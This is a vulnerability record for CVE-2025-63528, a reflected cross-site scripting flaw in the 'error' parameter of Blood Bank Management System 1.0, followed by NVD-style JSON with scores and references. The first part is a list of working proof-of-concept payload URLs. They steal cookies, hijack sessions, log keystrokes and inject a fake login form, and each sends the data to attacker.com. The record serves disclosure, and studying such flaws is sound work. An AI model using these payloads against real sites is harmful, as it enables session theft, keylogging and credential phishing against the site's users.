CVE-2025-63528

<!-- CVE-2025-63528 PoC - Blood Bank Management System 1.0 XSS --> <!-- Target: blooddinfo.php error parameter --> <!-- Basic XSS Test --> https://target.com/blooddinfo.php?error=<script>alert('XSS')</script> <!-- Cookie Stealing PoC --> https://target.com/blooddinfo.php?error=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Session Hijacking PoC --> https://target.com/blooddinfo.php?error=<img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> <!-- Keylogger PoC --> https://target.com/blooddinfo.php?error=<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script> <!-- HTML Injection + Phishing --> https://target.com/blooddinfo.php?error=<div style='position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999'><h1>Session Expired - Please Login Again</h1><form action='https://attacker.com/phish'><input name='username'><input name='password' type='password'><button>Submit</button></form></div>

{"cve": {"id": "CVE-2025-63528", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:51.650", "lastModified": "2025-12-02T03:04:46.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the blooddinfo.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the error parameter, which is then executed in the victim's browser when the page is viewed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5B391DFD-8072-4642-9A31-9E4DE8648367"}]}]}], "references": [{"url": "https://drive.google.com/file/d/12yeOXW_sN69QjsQtW0_k9AGqozi1s0di/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Shridharshukl/Blood-Bank-Management-System", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-63528.md", "source": "[email protected]", "tags": ["Exploit"]}]}}